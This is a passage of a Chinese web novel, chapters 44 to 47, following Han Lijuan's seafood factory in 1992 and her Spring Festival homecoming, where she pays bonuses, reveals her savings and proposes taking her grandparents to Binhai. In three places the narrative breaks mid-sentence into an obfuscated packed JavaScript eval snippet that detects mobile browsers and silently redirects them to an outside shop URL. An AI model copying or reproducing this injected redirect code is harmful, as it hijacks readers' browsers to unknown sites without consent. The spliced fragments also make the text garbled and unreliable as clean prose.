“嗯，其实我更认同你这个新包装，干净，卫生，货品一目了然，我们店菜品展示是有明档的，这个包装摆出来，是能吸引顾客的。”就如杨经理之前说的，他对某一件货品的多少不是那么太在意，毕竟他们不是某一个特色食品专营店，大厨们各有才艺，但韩丽娟之前带给他的新包装让他眼前一亮。“年轻人，脑子就是好，对新事物敢于尝试，真不错。” 杨厂长满眼都是对韩丽娟的欣赏。 “听您这么说，我就放心了！”韩丽娟回想过去这大半个月，也算没有白付出精力，把客户的需求安排好，接下来，她就要给员工上激励政策了。 一边忙销售，一边促生产，日子过得飞快。 “观众朋友们，晚上好，今天是公元1992年1月1日，星期三，农历十一月二十七，欢迎收看新闻联播节目……” 44. 第 44 章 今天是元旦，白班没休息，五点半让大家都下班后，还剩下点收尾的活，今天零工休息，姜美凤陪着韩丽娟搞完，俩人才一起回来。 “姨夫把电视买回来了！” 还在院子里，韩丽娟就听到姜美凤家里传出新闻联播的声音。 “你俩回来了！”陈大有正在厨房忙活，门开着，看见姜美凤跟韩丽娟。 “辛苦姨夫了。”过节，韩丽娟一个人，就来姜美凤家蹭饭。 “嗨呀，辛苦啥，还是你俩辛苦。”陈大有今天休息，跟还要上班的韩丽娟跟姜美凤比起来，算不得辛苦。“快进屋歇一会，我煮饺子，咱们一会就吃饭。” 自从进入十二月，韩丽娟的海鲜加工厂就开始进入忙碌期。 为了激励大家，韩丽娟也给员工们设置了奖励。 各个车间，设置排名奖励。根据大家的劳动成果和优等品出品率，前三名，第一名奖励600元，第二名奖励400元，第三名奖励200元。 晚间的零工同样，只不过奖金对半。 激励政策一出来，大家工作效率都提高了，不提高没办法，韩丽娟这里晚班都排着人呢，加不了班，为了冲前排，大家只能卷速度。 员工忙，韩丽娟跟姜美凤自然也不清闲。 “再坚持一个月，就过年了。”姜美凤洗了手，端着盘子进屋。“陈刚刚，你给我离电视远一点！” 韩丽娟也洗手，帮着摆碗筷。“整好一个月，能忙到年二十七，二十八给大家发钱，然后就过年，年后工期没那么紧了，大家就可以轻松了。” 今年二月初过年，离过年还有一个月时间。 “对了，娟子，说道过年，我还没问你，过年你准备给大家发些什么？”最近太忙，俩人回家没有时间讨论这个，单位人也多，没法说。 过年了，不管大小厂子，只要是个厂子，都给员工发东西，有钱多发，没钱少发，但不能不发。 “我也想呢，美凤姨，你们过去春节前，老板都给你们发啥呀？” 姜美凤没啥经验。 “鱼。”陈大有端着饺子进来。“过年啊，你就看吧，只要上班的，都往家里拿鱼，什么刀鱼，黄花，鲅鱼，一袋袋的，都是。” “还别说，真的主要都是鱼，有那好的单位再给发一袋虾，然后发点米面油。”姜美凤补充。 滨海靠海，鱼类资源丰富，而且冷库众多，冬季各企业厂子的福利就是囤积的鱼。年夜饭也少不了炖鲅鱼，炸黄花，红烧刀鱼。 “你们厂子今年要是发，少发点鱼，整点别的，我这得到消息，咱们附近的这几家冷冻机厂，今年都是鱼，而且因为之前给渔业公司做冷库，对方欠钱，直接用鱼抵账，你看吧，我们今年的鱼得用袋子往回扛。”陈大有建议韩丽娟搞点别的，但也不能不发，并不是所有人家都有亲戚在机械厂上班。 但七八成是有的了。 “那刀鱼鲅鱼和黄花发点啥好？”韩丽娟不懂，她自己一个人也没怎么钻研吃喝，这几样鱼哪个好不知道。 “我喜欢刀鱼！”陈刚刚在一旁插话。 “吃你的饺子。”姜美凤夹了一个饺子放进陈刚刚碗里，让他少插话。“鲅鱼刺少，吃着实惠，最大众。有人爱吃刀鱼黄花，我不爱吃黄花，扎着吃也没吃出啥美味。” “鲅鱼吧，鲅鱼不出错，剩下的我再研究研究，还有这些客户，也得走动。” 年底了，除了赶工期，就是这些人情往来，客户走动。 …… “安静！安静！” 大年二十八，忙碌两个月，韩丽娟跟工人们终于可以松口气，在大家的共同努力下，所有订单按时完成。 韩丽娟兑现承诺，给大家发奖金。 “之前咱们说，要搞竞技，前三名都有奖金，但是因为大家完成的太好了，咱们在座的每个人，都发200元的年终奖！” “哇！” “咱们也有钱！” “我就说，咱们厂长不可能纸给几个人，娟子要是赚到钱了，咱们都能赚到钱。” 一时，众人开心的议论起来。 “那前三名拿了奖金的还能拿这100块吗？” “能！”韩丽娟说。“这是两种奖励，那个是奖励个人的，这个是奖励大家的，感谢大家这段时间的辛苦付出。” “好了，大家来我这，签名按手印领钱吧。”说话间，姜美凤一手拿着纸币红泥印，一手拿着一摞钱，走进来，坐在桌子前。 韩丽娟给姜美凤让出位置。“今天不止发奖金，也发工资，领完奖金的呢，一会按照工号顺序，去我办公室领工资，领完工资再在门口拿一份年货，今天下午开始放假，一直放到年初八，咱们初九上班，再次感谢大家在这段日子的付出，希望咱们来年一起继续拼搏，再接再厉，大家说，好不好！” “好好好！” “谢谢厂长！” “来年一起加油！” 激励完员工，韩丽娟回到办公室，准备给大家发工资，工资是她提前算好，按照工号顺序，一个信封一个信封装好的，上面都有名字，发起来很快。 年货她找了金店长跟小货车司机。 金店长帮她采购的鱼和虾。小货车司机帮着采购的米面油还有糖果饮料跟一箱子柑橘。 每个员工的年货标准是200元。 抛出所有成本，韩丽娟自己在这个冬季，净剩4万5000元。她现在的个人存款，已经超过6万元。 “娟子，你自己回去，路上可小心啊！” 发完工资，员工领完年货，都走了，剩下韩丽娟跟姜美凤，检查了门窗，断好水电，锁好门，俩人也准备回去过年。 但今年姜美凤两口子不准备回老家了，两口子想买个房子，定居在滨海，回去一趟就要小一千块钱，他们想攒起来。 韩丽娟只能自己回去。 “没事，美凤姨，年后还要麻烦你提前一天找人收拾一下厂房，过年期间，厂子这边也要你勤照看一下。”她今天下午的火车，一会回家取了行李，就要走。 “这都是小事。”作为厂子的一份子，这些活，姜美凤没觉得是负担，都是她应该做的。 “提前给你拜个早年，美凤姨，新年快乐！” “新年快乐，恭喜发财！” …… 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190407|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔一年，再次踏上火车，韩丽娟心潮彭拜。 一年前，她带着未知，奔赴千里之外，那时候，没有具体的目标，只是想找份工作，赚钱。 一年后，她带着收获回家，对于新的一年，她已经有了想法跟计划。 一年没有回家了，家里一切都好吧。 …… “这人咋还没回来呢？” 韩丽娟家，赵淑芬一遍遍的走到大门口，一遍遍回来，下午不到两点，韩爱国就出门，去道口接孩子了，这眼看着天都暗了，还没回来，到底咋回事啊。 之前就接到电报，娟子说坐那趟今天中午到市里下车的火车回家，下火车，车站对面就是客运站，就算一点发车，两点半也到他们村道口，爷俩就算走回来，再慢，三点也到家了，这都四点多了，人影呢？ 不能出啥事吧！ “是不是人太多，没挤上早班车啊，可能会晚点，你别着急。”老韩太太劝着，这一趟一趟的，把她走的都心慌。 “回来了，回来了！”突然，赵淑芬看见大门口有人骑着车进来。 “怎么回事，怎么就你自己回来的？” 韩爱国回来的，但是是自己回来的。 “我套上车，去市里迎一迎。”韩老四开口。“刚刚碰上一班车，说他们那车坏半道了，这又飘雪花了，咱家这自行车胎不行了，我回来换马车。” 韩老四放下自行车，着急忙慌去套车。 “立伟！”赵淑芬朝屋里喊着，正做饭的韩立伟赶忙出来。“帮你爸把马车套上。” “嫂子，让大蛋他爸跟着一起过去吧，这马上黑天了。”王红梅也出来，“嫂子，你家那不用的被子啥的，放车上一套，省的娟子冷。” “对，让老二也跟着。”老韩太太说。 “我也跟着去吧。”老韩头出来。 “你可消停的吧，这车拉那么多人，走的馒，啥时候能接到娟子啊，你在家消停的待着。” 老太太把老韩头想法否决了。 本来也想跟着去的大蛋二蛋，看他们爷爷被说，都没敢吱声。 “要我说，这市里就应该多安排几辆车，这大过年的，车坏了，人都回不来。”老韩头忍不住埋怨客运站。 “可不是咋地，一个点就一趟车，我刚刚看那趟车，挤得满满当当的，不然，都能把她们带回来。”韩老四飞快的套上车。“你们都回屋等着吧，我们一会就回来。” “快回屋吧。”韩建设也撵大家回去。 众人也没听他的，看着车走出去，才一步三回头的进屋。 “也不知道娟子咋样，胖了瘦了。” 嘎吱嘎吱…… 又飘起了雪花，韩丽娟走起路要小心翼翼，尽量挑路中间没有马车压过的地方下脚，不然容易滑倒。 “叮铃铃……”后方传来自行车铃声。 韩丽娟停下，让到路边，让自称车先过去，这路有点滑。 自行车车从韩丽娟身边骑过，车上的人上下打量一下，嘎吱，自行车在她前边几米的地方停下。 车上的人下车，看身高体型是个男的。 韩丽娟后退两步。 45. 第 45 章 这谁？哪个队的？韩丽娟打量眼前这个人，个子挺高，但穿戴的也太严实了，就露出来一双眼睛，光线很暗，她实在看不出这人长什么样。 不出意外这人是想要帮她的，但万一呢！ 一边后退，她一边想，她也不能把人想的太好。 不远处，是富裕三队，能看见屋子里的灯火和听见院子里的狗叫，她如果喊，屋里的人能不能听到？ 左手拎的包里有冻得梆梆的鲅鱼，不然抡起来？或者扔下行李跑路？ “别怕，我不是坏人。” 对面的人看见韩丽娟后退，停下脚步，摘下脖套，漏出脸，可能也是怕韩丽娟真的怕，还上扬嘴角，挤出一个笑容。 这个笑容，这个大酒窝…… “李春来？”韩丽娟认出对面的人，他不是去当兵了吗，满三年了？是认识的人，韩丽娟也扒下围脖，漏出整张脸。 “嗯。”李春来应了一声，过来拎走韩丽娟的行李，两只手的。他也认出韩丽娟。“刚下车？”问道。 他刚刚骑自行车在后面就看她拎着东西，走两步倒一下手，如今接过这俩行李，真挺沉的，装石块了吗？ “中午就下车了，客车坏半路上，耽误一会。”韩丽娟跟着他走到自行车旁。 “有怕压的吗？”因为是两个行李，他要叠着放在后座，放之前，李春来问了一嘴。 “把这个放下面。”韩丽娟指挥到。 俩人一起往他们队走。 手上不用拎东西，走起来轻快不少。“李春来，你什么时候回来的？” “一月。”李春来回。 “你这是去街里了？”但看车上也没买啥东西啊。 “去看我姐。” 韩丽娟问一句，李春来答一句，没一句闲话。 韩丽娟记得小时候这人挺爱说的，但因为他长得唇红齿白的，一笑就俩大酒窝，村里的婶婶大娘总爱逗他，后来就开始天天板着脸。 走了几年，还是这幅臭德行。 问了两句，韩丽娟也不爱搭理他，人是好人，但没长嘴。她大哥韩立伟虽然话少，但她大哥整天笑眯眯的，李春来，啧。 俩人就沉默的往家走。走着走着，就听到马车的铃铛声。 “是娟子吗？” 马车越来越近，已经能看到人，车上的人喊过来。 “爸，二叔！”韩丽娟看到韩爱国韩建设那一瞬间，眼泪就留下来了，这一年，她虽然从来没跟别人说过，但她真的很想家。 想她爸妈，想爷爷奶奶，想家里所有人，甚至家门口那棵大杨树。 “外面冷，别哭了，一会脸该皴了。”韩爱国停好车，过来接韩丽娟身上的背包。 韩建设从马车上蹦下来。“大侄女，快上车，家里都做好饭，就等你回家吃了。” “四叔，五叔。”李春来喊了人，然后卸后座上的行李。 “怎么带这么多东西回来，多沉呀。”韩爱国接过行李。“麻烦你了，春来。” “不麻烦，四叔五叔，那我先走了。”李春来看了看韩丽娟，见她还在抹眼泪，嘴唇动了动，没说话，骑着自行车走了。 “行，慢点哈。”韩爱国赶着马车，还要找个宽敞的地方调转车头。 “妈——”马车刚刚减速进院子，韩丽娟就跳下车，几步跑进屋。 一屋子人在等她回来。 韩丽娟挨个叫个遍。“爷，奶……” “这孩子，瘦了。”老韩太太一句话，让一屋子的女人都伤感起来，赵淑芬的眼泪马上要掉下来。 “那什么，我先上个厕所！” 韩丽娟憋一路了，谁知道这个客车能坏啊，她忍的好辛苦。急匆匆的跑进屋，又急匆匆的跑出去上厕所。 “这熊玩意，一年没见，还是这个混蛋样！”时隔一年，赵淑芬又被她闺女气的口不择言。 “嘿嘿……”韩立伟在一旁，听得嘿嘿笑，他大妹回来，家里一下子就热闹了。 “这都是啥呀？这孩子也不嫌累得慌，拎回来这么多东西。”韩爱国韩建设拎着包裹进来，转移了赵淑芬的注意力，她伸手接行李，差点没闪着胳膊。 “先吃饭，吃完饭在看吧，面条擀好了吗？”韩爱国问韩立伟。 “好了，现在就煮吗？”韩立伟问。 “煮吧，这中午都不一定吃没吃饭，车还坏半路了，估计饿坏了。”韩爱国说。 “你们在哪接到的孩子呀。”老韩头问起。“回来的挺快。” “还说呢，早知道大哥就不应该回来，等一会就能遇到娟子，我们马车刚到三队，就看见娟子了。” 韩建设说。 “那娟子就拎着这么沉的东西走到三队的！多沉，这孩子，把东西扔哪个老乡家，等他爸去取呗。”老韩太太一听，心疼坏了。 “没有，遇到那谁了……”韩爱国说。 “谁呀？”赵淑芬问，这人总爱说半截话，真烦人。 “那院的春来。”韩建设帮他哥回答。 “李大小子他家那老小子啊？”老韩太太接过话。“都说李家老小子在省城找了份工作，真的吗？” “嗯呢，说是之前的领导在省城的运输队上班，给他整过去了。”村里的消息，没有赵淑芬不知道的。 “大嫂，我听说他那领导看上他，要招他当女婿，真的假的，这老李家祖坟要冒青烟了！”王红梅也听到一些八卦。 “谁呀？”从厕所回来的韩丽娟听了后半句，一边洗手，一边问。 “李春来。”赵淑芬说。“你俩在哪遇上的。” “我刚刚下道，没走几步，就遇上了。”韩丽娟回。她想说哪个领导看上他当女婿，那可真是坑闺女，就整天拉拉着脸，一天看着他少吃两碗饭。 但长辈太多，没好意思说。 “那你大道那一段咋整的？”赵淑芬又问。 “车坏的地方附近有个屯子，司机去找那屯子大队长帮忙，给找了几辆马车，沿着大道挨个送的。” “面条来啦！”韩立伟端着面条进屋。“快快，大家都坐下吃饭。” 众人坐下，韩丽敏手快脚快，抢到韩丽娟身边的一个位置。“我挨着我姐。” 人多，摆了大桌面，要过年了，加上要给韩丽娟接风洗尘，桌子上的菜丰富很多。 “娟子，你想吃啥，跟我说，这几天给你做。”韩立伟挑了一个小鸡腿，放进韩丽娟碗里。 今天人多，没留大鸡腿，但韩立伟还是留下两个小鸡腿，给他媳妇一个，另一个挑给韩丽娟。 “还是我哥呀。”韩丽娟没拒绝，拿起鸡腿啃。“我老叔老婶咋还没回来，还在街里赚钱呢？”回来没见到老叔老婶，她还挺纳闷纳闷。 “你老婶他爸这一冬天都不咋好，他们一直在那边来着。”老韩头说。 韩丽娟点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195491|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，老婶她爸这几年身体一直不怎么好，看来是严重了。 “大姐，我都想你啦！”韩丽娟的身侧，韩丽敏固定占个位置，二蛋战胜大蛋，抢到另一个位置，坐下就先表白。 “你是想我，还是想糖葫芦了？”韩丽娟笑着问。 “想你！”二蛋说。 “大姐，他骗你，昨天他还说，今年冬天你没在，都没吃上几根糖葫芦。”大蛋拆穿他。 “没有，我是真的想大姐。哇……”二蛋觉得面子上挂不住，想要嚎。 “不哭明天给你好吃的。”韩丽娟说。 “真的吗，什么好吃的？”二蛋立马闭上嘴，乖巧的问。 “哈哈哈哈……”一屋子人笑开了。 …… “哗啦~哗啦~”，刷子扫过锅里的碗筷，发出碰撞声。“夸～哗～”水瓢挎着锅底，在淘水。厨房里传来大大小小的动静，间或有她爸妈低声嘀咕的声音。 韩丽娟躺在炕上，脚底越躺越热，应该是她妈给她烧炕了。今天早晨烧的应该是玉米杆，偶尔漏出的烟味，能闻出来。 “哐！”应该是她爸拎着泔水桶出门，冬天门发轴，开关的声音很大，惹得她妈不高兴，嫌弃她爸，明知道门动静大，还不知道轻一点。 “刷~刷~”她妹韩丽敏在扫院子，还有鸡鸭鹅的叫声。 回家的感觉真好。 睡回笼觉的感觉真好。 伸个懒腰，坐起身，她妈在厨房看见她起来了，就端着水壶进屋了。“起吧，看一会有人来看你，趁着水热乎，赶紧洗脸。” “起来了，娟子？”这时候，郑玉芳也抱着孩子进来了。 昨晚回来的晚，孩子小，灯光对眼睛不好，小孩在这屋不能开灯，韩丽娟简单看几眼，这会儿见她嫂子将孩子放在炕上，就凑过去仔细打量。 小朋友精神的很，看见韩丽娟也不怕生，蹬着腿，咿咿呀呀的不知道说的啥。 “眼睛真黑。”小孩子的眼睛像大葡萄一样，饱满又水灵。“你在说什么呀？” “呀呀”，小朋友听见韩丽娟说话，附和两声。 “她呀，一天可能呀呀了，好像能听懂别人跟她说啥似的。你大哥说像你，不像我俩，嘴笨。” “笨的是他，嫂子可不笨。”韩丽娟说。 “哈哈哈，要不说还是你说话我爱听。今天人多，东屋人来人往，还有人抽烟，我还把孩子放这屋，娟子，你一会要出去，就把这个摇篮放炕上，把她放摇篮里。”郑玉芳指着地上的摇篮说，她要出去帮着忙乎。 “你等会，嫂子。”韩丽娟喊住郑玉芳。下地去柜子里掏出自己的背包，拿出一块手表。“给，恭喜你当妈妈了。” “我不要。”郑玉芳赶忙拒绝。 “你给我一块，我还你一块，我还占你便宜呢。”韩丽娟推过去。“嫂子，一会就来人了，咱俩别撕吧，让人看见不好。” “这表挺贵吧。”郑玉芳看着这个表的做工跟样子，比她送给韩丽娟的那块好上不少呢。 “大城市卖别的贵，但是手表啊什么的，比咱们这便宜的很。”韩丽娟说。 “赶紧起来吧，吃完饭还得贴春联呢。”厨房里，赵淑芬喊起来。 “啊，来了。”韩丽娟应道。“你快收起来吧，嫂子，咱俩赶紧去帮忙，不然妈一会生气了。” “娟子回来啦？” “啥时候回来的？” 46. 第 46 章 吃过早饭，韩丽娟跟她爸贴春联呢，就有人来了。 去年，她跟张艳霞俩人去赵二妮家，今天，好多人过来看她。 但因为今天就是三十了，她又是个小姑娘，也就本村的人来转一圈，看看她，简单说几句话。 一天家里人不断，一直到三十晚上，吃过团圆饭，韩丽娟才有时间跟爸妈说点话。 “我白天听你跟人说，你初八就走？”赵淑芬憋了一天，才找到说话的机会。 “嗯，妈，我那厂子初九上班，我初八走都晚一天了。”韩丽娟解释。 “哎妈呀，多少人呀，还叫上厂子了。”赵淑芬不是瞧不起韩丽娟的事业，而是因为韩丽娟走的太早而难受生气。 韩丽娟曾经写信说自己带着几个人干活，家里知道她做小买卖，但不知道她具体的规模。 “多在家待几天把，等过了十五再走呗。”韩爱国也说，好不容易把孩子盼回来，就待几天，心里不得劲。 “那边年后十五还有一波高峰期能赚钱的，我怕我不回去，出点意外啥的。” 韩丽娟也舍不得家里，但如今厂子还不稳定，客户都在她自己手里掐着，初十她就要开始送货。 “妈，年后让我哥嫂跟我走吧。”韩丽娟想了想，跟她妈说，她那边缺人手，缺信得过的人手。爸妈这边有丽敏，走不开。老婶的父亲身体不好，不然老叔也敢闯，让他跟自己去再好不过。 思来想去，她把主意打到她大哥大嫂身上。 “不行。”赵淑芬想都没想就拒绝了。 “妈！”韩丽娟不理解。“我这次回来，看小雨涵喝的奶粉，本来我哥嫂条件就不好，养孩子还花钱，跟我走，我能带着他们赚钱，有啥不行的，你舍不得？” 想来想去，就这一天理由。 “他都结婚了，我有啥舍不得的。”赵淑芬摇头。“你以为你嫂子为啥没奶，要给我大孙女喝奶粉？我告诉你，就因为你嫂子生个闺女，咱们家我跟你爸还没说啥，她家里亲戚来一个说一遍，来一个说一遍，本来挺好的奶水，硬生生作没了。你那嫂子那边的亲戚，一个个的，都不是啥好玩意，你今天敢带着她出去，明天她家亲戚就成群结队的投奔过去。你那个小买卖，不出三月，就变成人家的了。” “不能吧？”韩丽娟真没想到这一层。 赵淑芬一肚子的气。“不能啥，太能了。你没回来，你不知道，气死我了！你嫂子这个人看着挺精明，遇到自己家那点事，就拎不清，你哥更是那没主意的玩意。” “那我哥我嫂子没钱过日子你不心疼啊。”韩丽娟问。 “我心疼有啥用，他俩立不起来，心疼一百遍也是白费。”赵淑芬说不心疼是假的，但她也是过来人。“让他俩穷去，你大哥现在天天不闲着，有功夫就去砖厂搬砖，赚那点钱除了给他姑娘买奶粉，剩下的都被那边搜刮走了。娟子，你听妈的，别管他俩，你现在给他俩一座金山，这俩人也守不住。” “咋地，你现在买卖做的挺大啊？这都需要人手了。”说完那不中用的儿子儿媳妇，赵淑芬终于反应过来。“我看你也走野了，当初答应你出去，你给我准话，啥时候回来？” 赵淑芬可不准备让自己闺女在外面漂一辈子，赚点钱，赶紧回来结婚过日子是正经的。 “对了，你当初说，出去赚点钱，回来搞个小买卖，我看你也别去滨海了，你老叔那边也搞了个摊位，一年能赚三五千呢，你也回来，跟他合伙把摊位搞大，一年不多赚，三四千，不比你出去去滨海强，守家在业的。”赵淑芬越说越觉得合理，去年是因为发生范志强那件事，她同意韩丽娟出去，今年那范家小子跑北面去了。再说也过去一年，没人讲究这事，与其出去赚那几千块钱，不如在家。 “哎，你说对不？”她说完，问在一旁喝的有些迷糊，酒劲有些上头，还硬撑着的韩爱国。 “嗯。”韩爱国一个劲的点头点头点头。 “回来吧娟子，你说你一个人在外面我们也不放心。”赵淑芬接着劝。 “妈，你等着，我给你看样东西。”韩丽娟说完下地，回她跟韩丽敏的房间。 “姐，你跟咱妈聊完了？”韩丽敏迷迷糊糊的已经要睡着，听见韩丽娟回来，挣扎着坐起来。昨晚，她跟韩丽娟聊了大半宿，今早起的早，刚刚她爸妈有话跟她姐说，她就先回来洗漱睡觉。 “没，你快躺下，别等我，一会要是晚了我就在爸妈那屋睡了。” “嗯。” 韩丽敏应道，又躺下，她真的好困，佩服他姐，这几天，应该睡得比她少，坐火车还那么累，竟然拿还这么有精神。 “妈，你看。” 韩丽娟拿着一张存款单，递给赵淑芬。 赵淑芬字人的不多，但是存款单她知道，见过。阿拉伯数字也是认识的。 她接过存款单。 这是一张两千块，不对，两万块的存款单！“两、两万！”赵淑芬震惊，她看着韩丽娟。“这些钱都是你的？” 韩丽娟点头。“妈，你说我是留在家赚三五千，还是去滨海？” “这，这也太多了！”赵淑芬震惊的有些不知道说啥好。她知道娟子应该是赚到钱，回来带了一堆礼物给大家。还买了很多滨海特产，又给了她1500块钱，其中1000让还她之前去滨海家里借的钱。剩下500是给他们两口子零花钱。 昨天晚上也是晚了，她也没仔细跟娟子聊，那500块钱给她，她就想着，这孩子果真有点钱就大手大脚，花钱没数，她给攒着。 谁想到，今天直接给她看两万块钱的存款单。 直接万元户！ “所以，还让我留家里吗？”韩丽娟伸手抽走存款单。这钱本来也是要告诉她爸妈的，但韩丽娟真没想用在跟她妈斗智斗勇上。一年没回来，她妈在她心里完美极了，早忘了她妈可能干出不让她走的事情。但，她想拿捏她妈，太容易了。 “嘶，你这孩子，再给我看看。”赵淑芬终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199793|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清醒过来。两万块钱的存款单，她第一次见。 “看看行，但是这钱在咱们这的银行应该是取不出来的，妈，不能留给你攒着。”韩丽娟逗她妈。 “你这孩子，快我给看看。”赵淑芬小心翼翼的伸手，不敢硬抢，一旦抢坏了，银行不认了咋整呢。 “妈，后悔刚刚不让我哥跟我走不？”韩丽娟又开口问。 “不后悔！”赵淑芬咬咬牙，“更不能让你带出去，不然咱家钱都是她们家的了。” 她闺女的钱也是她们家的。 “所以，妈，还让不让我去滨海了，在哪不赚这三五千，守家在业的。”韩丽娟重复赵淑芬刚刚劝她的那些话。 “你呀！”赵淑芬伸手去按韩丽娟脑门。“你这小丫头，行，有出息，像我。” 赵淑芬又拿起存款单，两万块钱啊。 “我闺女，像我。”已经昏昏欲睡的韩爱国不知道被什么触动，来了一句。 “像你啥像你，像我！”哪怕韩爱国是个醉鬼，赵淑芬也要争个名分。 “去吧。”赵淑芬知道，她又输了，不过这次输的开心，哪里像去年那么憋屈。“就2万了？” 赵淑芬看着看着这存款单，忽然反应过来，这小丫头，一天八百个心眼子，她才不可能把所有钱都告诉她。 “妈，什么叫就2万啊！两万还少？”韩丽娟知道她妈啥意思。对，不止两万，但钱太多她妈估计会更不放心。 丽敏要考大学，她妈只能先顾一头，要是让她妈知道她高峰期日入1500块，她妈得急的嘴上起泡。 “你一个人在外面，赚钱了也别太露富，哎，咱家这些亲戚，咋都走不开呢。”年轻的要么太年轻不靠谱，要么家里就有学生得顾着，要么就是家里有老人要照顾。 “你二叔不行，他呀，出去后你管不住，责任心不如你老叔。”赵淑芬又考虑了一下韩建设，这个人当叔叔行，跟着韩丽娟做事，她不放心。 还是娟子太小。 “妈，你放心，我有人选了。” 年前，姜美凤透露，他们两口子想买房子，虽然也在村里，但离她也远了，她开着厂子，自己住，旁边还没家人，多少有些不安全。韩丽娟回来之前，就在想，家里谁能跟她走。她有三对人选，她老叔老婶，她爸妈，还有一对，前两对现在看都不行，那…… “谁呀？”赵淑芬纳闷，她想不到。 韩丽娟笑笑没说。“到时候你就知道了。” “行，你初八就走了，我看你能瞒到啥时候！” 韩丽娟就笑，不是她想隐瞒，而是想让她妈消停的过个年。 “什么？”大年初五，在韩丽娟爷奶家吃过饺子后，听到韩丽娟说的话，赵淑芬蹭的站起来。“我不同意！” 韩丽娟竟然想带她爷奶走！ 她带着俩六十多岁的老人，去滨海，开什么玩笑！ 韩丽娟同意，韩丽娟爷奶同意，都不行，她，赵淑芬，不同意！ 47. 第 47 章 今年过年，韩超美两口子在周晓芹家过的年，初五，才是全家人第一次聚在一起吃团圆饭。 晚上，酒过三巡，老太太看了老头一眼，老头看了韩丽娟一眼，咳嗽一声。 “今年咱家人全，跟大家说个事。”老韩头放下酒杯，看着满屋的儿女孙辈。 本来说说笑笑的众人，收住笑容，你看我，我看你，这大过年的，老爷子突然这么严肃，要说啥？ “年后呢，我跟你妈，准备跟着娟子出去转转。”老头的话，众人一时没反应过，转转，去哪转转？ “爸妈，二叔二婶，老叔老婶，年后我带着我爷我奶去滨海。”韩丽娟跟着解释了一句。 “不行！”韩丽娟话音刚落，张淑芬就站起来反对。“我不同意！” “对，爸妈，你们年纪这么大了，跑那么远干啥，娟子，你也是，怎么能带你爷你奶去滨海呢，这么远，有点啥事，你一个人处理不了。”大嫂开团，反应过来的韩建设秒跟。 他爸妈这么大岁数，可不能没轻重啊。 “老二，你说啥呢，能有啥事娟子处理不了，大过年的你盼着点我跟你爸好行不行！”老太太不愿意听。 “就是，我跟你妈活这么多年没事，一出门就得死外面了？”老头子也气的怼了一句。 “哎呀妈，我没这个意思，我就是劝娟子别带你们走那么远。”韩建设听完他妈的话，赶紧解释，谁料，葫芦还没按下，瓢又起来了。“爸，你这话说的，这大过年的，快呸呸呸。” “爸妈，娟子是我闺女，有人去陪着，我这当妈的本来不该反对的，但咱们兄弟三个都还在，老人跟着孙女，传出去被人笑话的。”赵淑芬放缓语气，试图劝老头老太太。 她这才反应过来，原来那天闺女不跟她说，不是为了卖关子，而是怕说了这个年过得鸡飞狗跳。 这件事，劝她姑娘没用，劝不了。只能寄希望于这俩老人，老二的话，虽然说的难听，就是事实啊。 这么大岁数的俩老人，谁知道出去会不会有啥意外，娟子年轻不懂，她毕竟是孙辈，一旦出了事，她承受得住来自叔叔以及堂叔辈亲戚们的问责吗！ “就是，爸，你这不是让别人笑话我吗。”韩建设接过话。“你们这么大岁数，还出去打工，我们哥三脊梁骨都能叫人戳破。” “你那脊梁骨怎么那么容易叫人戳破呢，我咋不知道你这么要脸面，你要这么要脸面，你好好把你那俩孩子的学习看住，二蛋才几年级啊，这回考试又不及格吧。”老太太铁了心的要跟着出去。“你也不看看，你侄女这次回来，都瘦了，她一个人在外面，忙的做饭的人都没有，你这做叔叔的，你就寻思你那看不到摸不着的脊梁骨。” “哇……”本来在一旁吃着炸丸子的二蛋，没想到战火会波及到他身上，他看见他妈的目光已经锁定他了。 这个寒假，他的屁股就没几天好的，好不容易过年这几天，他妈不打他了，他奶怎么还提醒上了。 “别嚎了，等爷跟你奶出去后，大黑让你抱回家。”他奶哄到。二蛋立马不嚎了。 王红梅的目光在二蛋身上转一圈，转到她大哥跟韩超美两口子。这三人一声没吭，她也不同意，平时大蛋二蛋都长在爷奶家，老两口要走了，谁来帮他们两口子看孩子。 “妈，二蛋这成绩，我也是头疼，本来你跟爸还能帮我管着点他，这你们走了，他更无法无天。”王红梅试探性开口。 “二婶，孩子不能光打不教，你天天陪着他写写作业，他低年级，也没什么难度，慢慢的就好了。”韩丽敏真诚的分享如何提升二蛋成绩。 “二蛋的事情不急，妈，你们这话说的，我咋看不到娟子瘦了，我知道你俩心疼娟子，那也不能这么说我，我也是孝顺儿子啊。”韩建设被他妈说的有些委屈。“我舍不得你们出去，这有错吗！” 